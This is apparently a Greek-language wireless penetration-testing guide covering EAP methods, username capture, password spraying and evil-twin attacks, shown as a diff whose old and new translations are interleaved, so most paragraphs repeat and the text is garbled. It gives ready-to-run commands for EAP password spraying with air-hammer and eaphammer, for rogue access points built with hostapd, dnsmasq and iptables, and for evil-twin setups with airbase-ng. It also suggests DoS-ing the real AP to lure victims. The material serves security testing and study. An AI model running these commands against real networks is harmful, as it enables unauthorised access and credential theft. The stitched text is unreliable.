- Αυτή η μέθοδος υποστηρίζει υλικά διακριτικά και μονοφορικούς κωδικούς στο πλαίσιο του EAP-PEAP. Αντίθετα με το MSCHAPv2, δεν χρησιμοποιεί πρόκληση από τον χρήστη και αποστέλλει τους κωδικούς σε κείμενο στο σημείο πρόσβασης, δημιουργώντας κίνδυνο για επιθέσεις υποβάθμισης.
1. **EAP-GTC (Generic Token Card)**:
* Αυτή η μέθοδος υποστηρίζει υλικό tokens και κωδικούς μίας χρήσης εντός του EAP-PEAP. Σε αντίθεση με το MSCHAPv2, δεν χρησιμοποιεί πρόκληση από τον συμμετέχοντα και στέλνει τους κωδικούς σε απλό κείμενο στο σημείο πρόσβασης, θέτοντας σε κίνδυνο επιθέσεις υποβάθμισης.
2. **EAP-MD5 (Message Digest 5)**:
* Περιλαμβάνει την αποστολή του MD5 hash του κωδικού από τον πελάτη. **Δεν συνιστάται** λόγω ευπάθειας σε επιθέσεις λεξικού, έλλειψης αυθεντικοποίησης διακομιστή και αδυναμίας δημιουργίας κλειδιών WEP συγκεκριμένων για τη συνεδρία.
3. **EAP-TLS (Transport Layer Security)**:
* Χρησιμοποιεί τόσο πιστοποιητικά πελάτη όσο και διακομιστή για αυθεντικοποίηση και μπορεί να δημιουργήσει δυναμικά κλειδιά WEP βασισμένα σε χρήστη και συνεδρία για την ασφάλιση των επικοινωνιών.
4. **EAP-TTLS (Tunneled Transport Layer Security)**:
* Παρέχει αμοιβαία αυθεντικοποίηση μέσω ενός κρυπτογραφημένου τούνελ, μαζί με μια μέθοδο για την παραγωγή δυναμικών, ανά χρήστη, ανά συνεδρία κλειδιών WEP. Απαιτεί μόνο πιστοποιητικά διακομιστή, με τους πελάτες να χρησιμοποιούν διαπιστευτήρια.
5. **PEAP (Protected Extensible Authentication Protocol)**:
* Λειτουργεί παρόμοια με το EAP δημιουργώντας ένα τούνελ TLS για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων πρωτοκόλλων αυθεντικοποίησης πάνω από το EAP λόγω της προστασίας που προσφέρει το τούνελ.
* **PEAP-MSCHAPv2**: Συχνά αναφέρεται ως PEAP, συνδυάζει τον ευάλωτο μηχανισμό πρόκλησης/απάντησης MSCHAPv2 με ένα προστατευτικό τούνελ TLS.
* **PEAP-EAP-TLS (ή PEAP-TLS)**: Παρόμοιο με το EAP-TLS αλλά ξεκινά ένα τούνελ TLS πριν από την ανταλλαγή πιστοποιητικών, προσφέροντας ένα επιπλέον επίπεδο ασφάλειας.
2. **EAP-MD5 (Μήνυμα Ανάλυσης 5)**:
- Περιλαμβάνει την αποστολή του hash MD5 του κωδικού από τον πελάτη. **Δεν συνιστάται** λόγω ευπάθειας σε επιθέσεις λεξικού, έλλειψης επαλήθευσης του διακομιστή και αδυναμίας δημιουργίας κλειδιών WEP που είναι ειδικά για τη συνεδρία.
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις μεθόδους αυθεντικοποίησης [εδώ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) και [εδώ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
3. **EAP-TLS (Ασφάλεια Επιπέδου Μεταφοράς)**:
- Χρησιμοποιεί τόσο πιστοποιητικά από την πλευρά του πελάτη όσο και του διακομιστή για πιστοποίηση και μπορεί να δημιουργήσει δυναμικά κλειδιά WEP βασισμένα στον χρήστη και τη συνεδρία για την ασφάλεια των επικοινωνιών.
### Συλλογή Ονομάτων Χρήστη
4. **EAP-TTLS (Ασφάλεια Επιπέδου Μεταφοράς μέσω Τούνελ)**:
- Παρέχει αμοιβαία πιστοποίηση μέσω ενός κρυπτογραφημένου τούνελ, μαζί με έναν τρόπο για την παραγωγή δυναμικών, ανά χρήστη, ανά συνεδρία κλειδιών WEP. Απαιτεί μόνο πιστοποιητικά από την πλευρά του διακομιστή, με τους πελάτες να χρησιμοποιούν διαπιστευτήρια.
Διαβάζοντας [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) φαίνεται ότι αν χρησιμοποιείτε **EAP** τα **"Identity"** **μηνύματα** πρέπει να είναι **υποστηριζόμενα**, και το **όνομα χρήστη** θα σταλεί σε **καθαρό** στα **"Response Identity"** μηνύματα.
5. **PEAP (Προστατευμένο Πρωτόκολλο Επέκτασης Πιστοποίησης)**:
- Λειτουργεί παρόμοια με το EAP δημιουργώντας ένα τούνελ TLS για προστατευμένη επικοινωνία. Επιτρέπει τη χρήση ασθενέστερων πρωτοκόλλων πιστοποίησης επάνω από το EAP λόγω της προστασίας που προσφέρει το τούνελ.
* **PEAP-MSCHAPv2**: Συχνά αναφέρεται ως PEAP, συνδυάζει το ευάλωτο μηχανισμό πρόκλησης/απάντησης MSCHAPv2 με ένα προστατευτικό τούνελ TLS.
* **PEAP-EAP-TLS (ή PEAP-TLS)**: Παρόμοιο με το EAP-TLS αλλά εκκινεί ένα τούνελ TLS πριν από την ανταλλαγή πιστοποιητικών, προσφέροντας ένα επιπλέον επίπεδο ασφάλειας.
Ακόμα και χρησιμοποιώντας μία από τις πιο ασφαλείς μεθόδους αυθεντικοποίησης: **PEAP-EAP-TLS**, είναι δυνατό να **συλλεχθεί το όνομα χρήστη που αποστέλλεται στο πρωτόκολλο EAP**. Για να το κάνετε αυτό, **συλλέξτε μια επικοινωνία αυθεντικοποίησης** (ξεκινήστε το `airodump-ng` μέσα σε ένα κανάλι και το `wireshark` στην ίδια διεπαφή) και φιλτράρετε τα πακέτα με `eapol`.\
Μέσα στο πακέτο "**Response, Identity**", το **όνομα χρήστη** του πελάτη θα εμφανιστεί.
Μπορείτε να βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις μεθόδους πιστοποίησης [εδώ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol) και [εδώ](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html).
### Καταγραφή Ονομάτων Χρηστών
Αναγνωρίζοντας το [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) φαίνεται ότι αν χρησιμοποιείτε το **EAP**, τα **"Μηνύματα Ταυτότητας"** πρέπει να είναι **υποστηριζόμενα**, και το **όνομα χρήστη** θα αποσταλεί σε **καθαρή μορφή** στα **"Μηνύματα Απάντησης Ταυτότητας"**.
Ακόμη και χρησιμοποιώντας μία από τις πιο ασφαλείς μεθόδους πιστοποίησης: **PEAP-EAP-TLS**, είναι δυνατό να **καταγραφεί το όνομα χρήστη που αποστέλλεται στο πρωτόκολλο EAP**. Για να το κάνετε αυτό, **καταγράψτε μια επικοινωνία πιστοποίησης** (ξεκινήστε το `airodump-ng` σε ένα κανάλι και το `wireshark` στην ίδια διεπαφή) και φιλτράρετε τα πακέτα με `eapol`.\
Μέσα στο πακέτο "**Απάντηση, Ταυτότητα**", θα εμφανιστεί το **όνομα χρήστη** του πελάτη.
![](<../../.gitbook/assets/image (150).png>)
![](<../../.gitbook/assets/image (850).png>)
### Ανώνυμες Ταυτότητες
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, μια αίτηση EAP-Ταυτότητας εκκινείται συνήθως από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις απαραίτητες πληροφορίες που απαιτούνται για τον αρχικό διακομιστή RADIUS για να επεξεργαστεί το αίτημα. Αυτή η έννοια επισημαίνεται μέσω των ακόλουθων σεναρίων:
Η απόκρυψη ταυτότητας υποστηρίζεται τόσο από το EAP-PEAP όσο και από το EAP-TTLS. Στο πλαίσιο ενός δικτύου WiFi, ένα αίτημα EAP-Identity συνήθως ξεκινά από το σημείο πρόσβασης (AP) κατά τη διαδικασία συσχέτισης. Για να διασφαλιστεί η προστασία της ανωνυμίας του χρήστη, η απάντηση από τον πελάτη EAP στη συσκευή του χρήστη περιέχει μόνο τις βασικές πληροφορίες που απαιτούνται για την αρχική επεξεργασία του αιτήματος από τον διακομιστή RADIUS. Αυτή η έννοια απεικονίζεται μέσω των παρακάτω σεναρίων:
* EAP-Ταυτότητα = ανώνυμο
* EAP-Identity = ανώνυμος
* Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμος" ως αναγνωριστικό χρήστη τους. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος αυθεντικοποίησης διαχειρίζεται είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (οικιακό) διακομιστή RADIUS.
* EAP-Identity = ανώνυμος@realm\_x
* Σε αυτή την περίπτωση, οι χρήστες από διαφορετικά realms αποκρύπτουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα realms τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προξενήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα οικιακά τους realms, οι οποίοι λειτουργούν ως διακομιστές PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος αναμετάδοσης RADIUS.
* Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να διαχειριστεί την προστατευμένη μέθοδο αυθεντικοποίησης είτε να την προωθήσει σε άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα realms.
- Σε αυτό το σενάριο, όλοι οι χρήστες χρησιμοποιούν το ψευδώνυμο "ανώνυμο" ως αναγνωριστικό χρήστη. Ο αρχικός διακομιστής RADIUS λειτουργεί είτε ως διακομιστής EAP-PEAP είτε ως διακομιστής EAP-TTLS, υπεύθυνος για τη διαχείριση της πλευράς του διακομιστή του πρωτοκόλλου PEAP ή TTLS. Η εσωτερική (προστατευμένη) μέθοδος πιστοποίησης χειρίζεται στη συνέχεια είτε τοπικά είτε ανατίθεται σε έναν απομακρυσμένο (κεντρικό) διακομιστή RADIUS.
Στο EAP-PEAP, μόλις το τούνελ TLS έχει καθιερωθεί μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP ξεκινά ένα αίτημα EAP-Identity και το μεταδίδει μέσω του τούνελ TLS. Ο πελάτης απαντά σε αυτό το δεύτερο αίτημα EAP-Identity στέλνοντας μια απάντηση EAP-Identity που περιέχει την αληθινή ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση 802.11.
* EAP-Ταυτότητα = ανώνυμο@realm_x
Το EAP-TTLS ακολουθεί μια ελαφρώς διαφορετική διαδικασία. Με το EAP-TTLS, ο πελάτης συνήθως αυθεντικοποιείται χρησιμοποιώντας PAP ή CHAP, ασφαλισμένο από το τούνελ TLS. Σε αυτή την περίπτωση, ο πελάτης περιλαμβάνει ένα χαρακτηριστικό User-Name και είτε ένα Password είτε ένα CHAP-Password χαρακτηριστικό στο αρχικό μήνυμα TLS που αποστέλλεται μετά την καθιέρωση του τούνελ.
- Σε αυτή την κατάσταση, οι χρήστες από διαφορετικά πεδία κρύβουν τις ταυτότητές τους ενώ υποδεικνύουν τα αντίστοιχα πεδία τους. Αυτό επιτρέπει στον αρχικό διακομιστή RADIUS να προωθήσει τα αιτήματα EAP-PEAP ή EAP-TTLS σε διακομιστές RADIUS στα αρχικά τους πεδία, οι οποίοι λειτουργούν ως διακομιστές PEAP ή TTLS. Ο αρχικός διακομιστής RADIUS λειτουργεί αποκλειστικά ως κόμβος ανακοίνωσης RADIUS.
Ανεξάρτητα από το πρωτόκολλο που επιλέγεται, ο διακομιστής PEAP/TTLS αποκτά γνώση της αληθινής ταυτότητας του χρήστη αφού έχει καθιερωθεί το τούνελ TLS. Η αληθινή ταυτότητα μπορεί να αναπαριστάται ως user@realm ή απλά user. Εάν ο διακομιστής PEAP/TTLS είναι επίσης υπεύθυνος για την αυθεντικοποίηση του χρήστη, τώρα κατέχει την ταυτότητα του χρήστη και προχωρά στη μέθοδο αυθεντικοποίησης που προστατεύεται από το τούνελ TLS. Εναλλακτικά, ο διακομιστής PEAP/TTLS μπορεί να προωθήσει ένα νέο αίτημα RADIUS στον οικιακό διακομιστή RADIUS του χρήστη. Αυτό το νέο αίτημα RADIUS παραλείπει το επίπεδο πρωτοκόλλου PEAP ή TTLS. Σε περιπτώσεις όπου η προστατευμένη μέθοδος αυθεντικοποίησης είναι EAP, τα εσωτερικά μηνύματα EAP μεταδίδονται στον οικιακό διακομιστή RADIUS χωρίς την περιτύλιξη EAP-PEAP ή EAP-TTLS. Το χαρακτηριστικό User-Name του εξερχόμενου μηνύματος RADIUS περιέχει την αληθινή ταυτότητα του χρήστη, αντικαθιστώντας το ανώνυμο User-Name από το εισερχόμενο αίτημα RADIUS. Όταν η προστατευμένη μέθοδος αυθεντικοποίησης είναι PAP ή CHAP (υποστηρίζεται μόνο από το TTLS), το User-Name και άλλα χαρακτηριστικά αυθεντικοποίησης που εξάγονται από το φορτίο TLS αντικαθίστανται στο εξερχόμενο μήνυμα RADIUS, αντικαθιστώντας το ανώνυμο User-Name και τα χαρακτηριστικά TTLS EAP-Message που βρίσκονται στο εισερχόμενο αίτημα RADIUS.
- Εναλλακτικά, ο αρχικός διακομιστής RADIUS μπορεί να λειτουργήσει ως διακομιστής EAP-PEAP ή EAP-TTLS και είτε να χειρίζεται την προστατευμένη μέθοδο πιστοποίησης είτε να την προωθεί σε έναν άλλο διακομιστή. Αυτή η επιλογή διευκολύνει τη διαμόρφωση διακριτών πολιτικών για διάφορα πεδία.
Για περισσότερες πληροφορίες δείτε [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
Στο EAP-PEAP, αφού καθιερωθεί το τούνελ TLS μεταξύ του διακομιστή PEAP και του πελάτη PEAP, ο διακομιστής PEAP εκκινεί μια αίτηση EAP-Ταυτότητας και τη μεταδίδει μέσω του τούνελ TLS. Ο πελάτης ανταποκρίνεται σε αυτό το δεύτερο αίτημα EAP-Ταυτότητας αποστέλλοντας μια απάντηση EAP-Ταυτότητας που περιέχει την πραγματική ταυτότητα του χρήστη μέσω του κρυπτογραφημένου τούνελ. Αυτή η προσέγγιση αποτρέπει αποτελεσματικά την αποκάλυψη της πραγματικής ταυτότητας του χρήστη σε οποιονδήποτε παρακολουθεί την κίνηση
### EAP-Bruteforce (password spray)
Εάν αναμένεται ότι ο πελάτης θα χρησιμοποιήσει ένα **όνομα χρήστη και κωδικό** (σημειώστε ότι **EAP-TLS δεν θα είναι έγκυρο** σε αυτή την περίπτωση), τότε μπορείτε να προσπαθήσετε να αποκτήσετε μια **λίστα** με **ονόματα χρηστών** (δείτε το επόμενο μέρος) και **κωδικούς** και να προσπαθήσετε να **σπάσετε** την πρόσβαση χρησιμοποιώντας [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.**
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Μπορείτε επίσης να κάνετε αυτήν την επίθεση χρησιμοποιώντας το `eaphammer`:
Μπορείτε επίσης να εκτελέσετε αυτήν την επίθεση χρησιμοποιώντας `eaphammer`:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -443,42 +446,42 @@ pyrit -r psk-01.cap analyze
--password bananas \
--user-list users.txt
```
## Θεωρία επιθέσεων σε πελάτες
## Client attacks Theory
### Επιλογή δικτύου και Roaming
### Network Selection and Roaming
- Το πρωτόκολλο 802.11 καθορίζει πώς μια σταθμός εντάσσεται σε Έκτακτη Υπηρεσία Συνόλου (ESS) αλλά δεν καθορίζει τα κριτήρια για την επιλογή μιας ESS ή ενός σημείου πρόσβασης (AP) μέσα σε αυτήν.
- Οι σταθμοί μπορούν να μετακινούνται μεταξύ των AP που μοιράζονται τον ίδιο ESSID, διατηρώντας συνδεσιμότητα σε όλο ένα κτίριο ή περιοχή.
- Το πρωτόκολλο απαιτεί επαλήθευση του σταθμού στην ESS αλλά δεν επιβάλλει την επαλήθευση του AP στο σταθμό.
* Το πρωτόκολλο 802.11 καθορίζει πώς μια σταθμός συνδέεται σε ένα Extended Service Set (ESS) αλλά δεν προσδιορίζει τα κριτήρια για την επιλογή ενός ESS ή ενός access point (AP) εντός αυτού.
* Οι σταθμοί μπορούν να περιπλανώνται μεταξύ APs που μοιράζονται το ίδιο ESSID, διατηρώντας τη συνδεσιμότητα σε ένα κτίριο ή περιοχή.
* Το πρωτόκολλο απαιτεί την αυθεντικοποίηση του σταθμού στο ESS αλλά δεν επιβάλλει την αυθεντικοποίηση του AP στον σταθμό.
### Λίστες Προτιμώμενων Δικτύων (PNLs)
### Preferred Network Lists (PNLs)
- Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου στο οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων (PNL) τους, μαζί με λεπτομέρειες ρυθμίσεων που είναι συγκεκριμένες για το κάθε δίκτυο.
- Η PNL χρησιμοποιείται για να συνδεθεί αυτόματα σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη με την απλοποίηση της διαδικασίας σύνδεσης.
* Οι σταθμοί αποθηκεύουν το ESSID κάθε ασύρματου δικτύου με το οποίο συνδέονται στη Λίστα Προτιμώμενων Δικτύων τους (PNL), μαζί με λεπτομέρειες ρύθμισης που σχετίζονται με το δίκτυο.
* Η PNL χρησιμοποιείται για αυτόματη σύνδεση σε γνωστά δίκτυα, βελτιώνοντας την εμπειρία του χρήστη απλοποιώντας τη διαδικασία σύνδεσης.
### Παθητική Σάρωση
### Passive Scanning
- Τα AP περιοδικά εκπέμπουν πλαίσια beacon, ανακοινώνοντας την παρουσία τους και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
- Κατά την παθητική σάρωση, οι σταθμοί ακούν για πλαίσια beacon. Εάν το ESSID ενός πλαισίου beacon ταιριάζει με μια καταχώριση στην PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
- Η γνώση της PNL ενός συσκευής επιτρέπει την πιθανή εκμετάλλευση με το να μιμείται το ESSID ενός γνωστού δικτύου, εξαπατώντας τη συσκευή να συνδεθεί σε ένα ψεύτικο AP.
* Οι APs περιοδικά εκπέμπουν beacon frames, ανακοινώνοντας την παρουσία και τα χαρακτηριστικά τους, συμπεριλαμβανομένου του ESSID του AP εκτός αν η εκπομπή είναι απενεργοποιημένη.
* Κατά τη διάρκεια της παθητικής σάρωσης, οι σταθμοί ακούν για beacon frames. Εάν το ESSID ενός beacon ταιριάζει με μια καταχώρηση στη PNL του σταθμού, ο σταθμός μπορεί να συνδεθεί αυτόματα σε αυτό το AP.
* Η γνώση της PNL μιας συσκευής επιτρέπει πιθανή εκμετάλλευση μιμούμενη το ESSID ενός γνωστού δικτύου, ξεγελώντας τη συσκευή να συνδεθεί σε ένα κακόβουλο AP.
### Ενεργή Εξερεύνηση
### Active Probing
- Η ενεργή εξερεύνηση περιλαμβάνει σταθμούς που στέλνουν αιτήσεις εξερεύνησης για να ανακαλύψουν κοντινά AP και τα χαρακτηριστικά τους.
- Οι αιτήσεις εξερεύνησης που έχουν στόχο ένα συγκεκριμένο ESSID βοηθούν στον εντοπισμό εάν ένα συγκεκριμένο δίκτυο βρίσκεται εντός εμβέλειας, ακόμα και αν είναι ένα κρυφό δίκτυο.
- Οι αιτήσεις εξερεύνησης εκπομπής έχουν ένα πεδίο μηδενικού SSID και στέλνονται σε όλα τα κοντινά AP, επιτρέποντας στο σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύπτει το περιεχόμενο της PNL του.
* Η ενεργή αναζήτηση περιλαμβάνει τους σταθμούς να στέλνουν αιτήματα probe για να ανακαλύψουν κοντινά APs και τα χαρακτηριστικά τους.
* Τα κατευθυνόμενα αιτήματα probe στοχεύουν ένα συγκεκριμένο ESSID, βοηθώντας να ανιχνευθεί αν ένα συγκεκριμένο δίκτυο είναι εντός εμβέλειας, ακόμη και αν είναι κρυφό δίκτυο.
* Τα αιτήματα probe εκπομπής έχουν ένα κενό πεδίο SSID και αποστέλλονται σε όλα τα κοντινά APs, επιτρέποντας στον σταθμό να ελέγξει για οποιοδήποτε προτιμώμενο δίκτυο χωρίς να αποκαλύψει το περιεχόμενο της PNL του.
## Απλό AP με ανακατεύθυνση προς το Internet
## Simple AP with redirection to Internet
Πριν εξηγήσουμε πώς να πραγματοποιήσουμε πιο πολύπλοκες επιθέσεις, θα εξηγηθεί απλά πώς να δημιουργήσετε ένα AP και να ανακατευθύνετε την κίνησή του προς μια διεπαφή που συνδέεται στο Internet.
Πριν εξηγήσουμε πώς να εκτελέσουμε πιο σύνθετες επιθέσεις, θα εξηγηθεί **πώς** να **δημιουργήσουμε** ένα **AP** και να **ανακατευθύνουμε** την **κίνηση** του σε μια διεπαφή που είναι συνδεδεμένη **στο** **Διαδίκτυο**.
Χρησιμοποιώντας την `ifconfig -a` ελέγξτε ότι η ασύρματη διεπαφή wlan για τη δημιουργία του AP και η διεπαφή που συνδέεται στο Internet είναι παρούσες.
Χρησιμοποιώντας `ifconfig -a` ελέγξτε ότι η διεπαφή wlan για τη δημιουργία του AP και η διεπαφή που είναι συνδεδεμένη στο Διαδίκτυο είναι παρούσες.
### DHCP & DNS
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
Δημιουργήστε το αρχείο ρύθμισης `/etc/dnsmasq.conf`:
Δημιουργήστε το αρχείο ρυθμίσεων `/etc/dnsmasq.conf`:
```ini
interface=wlan0
dhcp-authoritative
@ -490,7 +493,7 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
Στη συνέχεια **ορίστε τις διευθύνσεις IP** και τις **διαδρομές**:
Τότε **ορίστε IPs** και **διαδρομές**:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
@ -503,7 +506,7 @@ dnsmasq -C dnsmasq.conf -d
```bash
apt-get install hostapd
```
Δημιουργήστε ένα αρχείο ρύθμισης `hostapd.conf`:
Δημιουργήστε ένα αρχείο ρυθμίσεων `hostapd.conf`:
```ini
interface=wlan0
driver=nl80211
@ -521,7 +524,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**Διακόψτε ενοχλητικές διεργασίες**, ορίστε τη **λειτουργία παρακολούθησης** και **ξεκινήστε τον hostapd**:
**Σταματήστε τις ενοχλητικές διεργασίες**, ρυθμίστε **λειτουργία παρακολούθησης** και **ξεκινήστε το hostapd**:
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
@ -534,48 +537,48 @@ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Κακό Δίδυμο
## Evil Twin
Η επίθεση κακού διδύμου εκμεταλλεύεται τον τρόπο με τον οποίο τα WiFi κλιέντ αναγνωρίζουν τα δίκτυα, βασικά βασιζόμενα στο όνομα του δικτύου (ESSID) χωρίς να απαιτείται από το σταθμό βάσης (σημείο πρόσβασης) να πιστοποιηθεί στον πελάτη. Κύρια σημεία περιλαμβάνουν:
Η επίθεση κακού διδύμου εκμεταλλεύεται τον τρόπο που οι πελάτες WiFi αναγνωρίζουν τα δίκτυα, βασιζόμενη κυρίως στο όνομα του δικτύου (ESSID) χωρίς να απαιτεί από τον σταθμό βάσης (σημείο πρόσβασης) να πιστοποιήσει τον εαυτό του στον πελάτη. Σημαντικά σημεία περιλαμβάνουν:
- **Δυσκολία Διάκρισης**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και ψευδών σημείων πρόσβασης όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα δίκτυα στον πραγματικό κόσμο συχνά χρησιμοποιούν πολλαπλά σημεία πρόσβασης με το ίδιο ESSID για να επεκτείνουν απροβλημάτιστα την κάλυψη.
* **Δυσκολία στη Διαφοροποίηση**: Οι συσκευές δυσκολεύονται να διακρίνουν μεταξύ νόμιμων και κακόβουλων σημείων πρόσβασης όταν μοιράζονται το ίδιο ESSID και τύπο κρυπτογράφησης. Τα πραγματικά δίκτυα συχνά χρησιμοποιούν πολλαπλά σημεία πρόσβασης με το ίδιο ESSID για να επεκτείνουν την κάλυψη χωρίς διακοπή.
* **Περιπλάνηση Πελατών και Χειρισμός Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιπλανώνται μεταξύ σημείων πρόσβασης εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσκαλώντας μια συσκευή να αποσυνδεθεί από τον τρέχοντα σταθμό βάσης της και να συνδεθεί σε ένα κακόβουλο. Αυτό μπορεί να επιτευχθεί προσφέροντας ένα ισχυρότερο σήμα ή διακόπτοντας τη σύνδεση με το νόμιμο σημείο πρόσβασης μέσω μεθόδων όπως τα πακέτα απο-πιστοποίησης ή η παρεμβολή.
* **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης κακού διδύμου σε περιβάλλοντα με πολλαπλά, καλά τοποθετημένα σημεία πρόσβασης μπορεί να είναι δύσκολη. Η απο-πιστοποίηση ενός μόνο νόμιμου σημείου πρόσβασης συχνά έχει ως αποτέλεσμα τη σύνδεση της συσκευής σε άλλο νόμιμο σημείο πρόσβασης, εκτός αν ο επιτιθέμενος μπορεί να απο-πιστοποιήσει όλα τα κοντινά σημεία πρόσβασης ή να τοποθετήσει στρατηγικά το κακόβουλο σημείο πρόσβασης.
- **Πελάτες Περιαγωγής και Αλλοίωσης Σύνδεσης**: Το πρωτόκολλο 802.11 επιτρέπει στις συσκευές να περιαγωγούν μεταξύ σημείων πρόσβασης εντός του ίδιου ESS. Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό προσελκύοντας μια συσκευή να αποσυνδεθεί από το τρέχον σταθμό βάσης της και να συνδεθεί σε ένα ψεύτικο. Αυτό μπορεί να επιτευχθεί προσφέροντας ισχυρότερο σήμα ή διαταράσσοντας τη σύνδεση με το νόμιμο σημείο πρόσβασης μέσω μεθόδων όπως πακέτα αποσύνδεσης ή ανακοπή.
- **Προκλήσεις στην Εκτέλεση**: Η επιτυχής εκτέλεση μιας επίθεσης κακού διδύμου σε περιβάλλοντα με πολλά, καλά τοποθετημένα σημεία πρόσβασης μπορεί να είναι προκλητική. Η αποσύνδεση ενός μοναδικού νόμιμου σημείου πρόσβασης συχνά έχει ως αποτέλεσμα η συσκευή να συνδεθεί σε ένα άλλο νόμιμο σημείο πρόσβασης εκτός αν ο επιτιθέμενος μπορεί να αποσυνδέσει όλα τα κοντινά σημεία πρόσβασης ή να τοποθετήσει στρατηγικά το ψεύτικο σημείο πρόσβασης.
Μπορείτε να δημιουργήσετε ένα πολύ βασικό Open Evil Twin (χωρίς δυνατότητες δρομολόγησης κυκλοφορίας στο Διαδίκτυο) κάνοντας:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
Μπορείτε επίσης να δημιουργήσετε έναν Κακό Δίδυμο χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε κακούς δίδυμους με το eaphammer η διεπαφή **ΔΕΝ πρέπει να είναι** σε λειτουργία **monitor**):
Μπορείτε επίσης να δημιουργήσετε ένα Evil Twin χρησιμοποιώντας το **eaphammer** (σημειώστε ότι για να δημιουργήσετε evil twins με το eaphammer η διεπαφή **δεν θα ΠΡΕΠΕΙ** να είναι σε **monitor** mode):
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Ή χρησιμοποιώντας το Airgeddon: `Επιλογές: 5,6,7,8,9 (μέσα στο μενού επίθεσης Evil Twin).`
Ή χρησιμοποιώντας το Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (148).png>)
![](<../../.gitbook/assets/image (1088).png>)
Παρακαλώ, να σημειωθεί ότι από προεπιλογή, εάν ένα ESSID στη λίστα PNL είναι αποθηκευμένο ως προστατευμένο με WPA, η συσκευή δεν θα συνδεθεί αυτόματα σε ένα Open evil Twin. Μπορείτε να προσπαθήσετε να προκαλέσετε DoS στον πραγματικό AP και να ελπίζετε ότι ο χρήστης θα συνδεθεί χειροκίνητα στο δικό σας Open evil twin, ή μπορείτε να προκαλέσετε DoS στον πραγματικό AP και να χρησιμοποιήσετε έναν WPA Evil Twin για να αιχμαλωτίσετε το handshake (χρησιμοποιώντας αυτήν τη μέθοδο δεν θα μπορείτε να επιτρέψετε στο θύμα να συνδεθεί σε εσάς καθώς δεν γνωρίζετε τον PSK, αλλά μπορείτε να αιχμαλωτίσετε το handshake και να προσπαθήσετε να το αποκρυπτογραφήσετε).
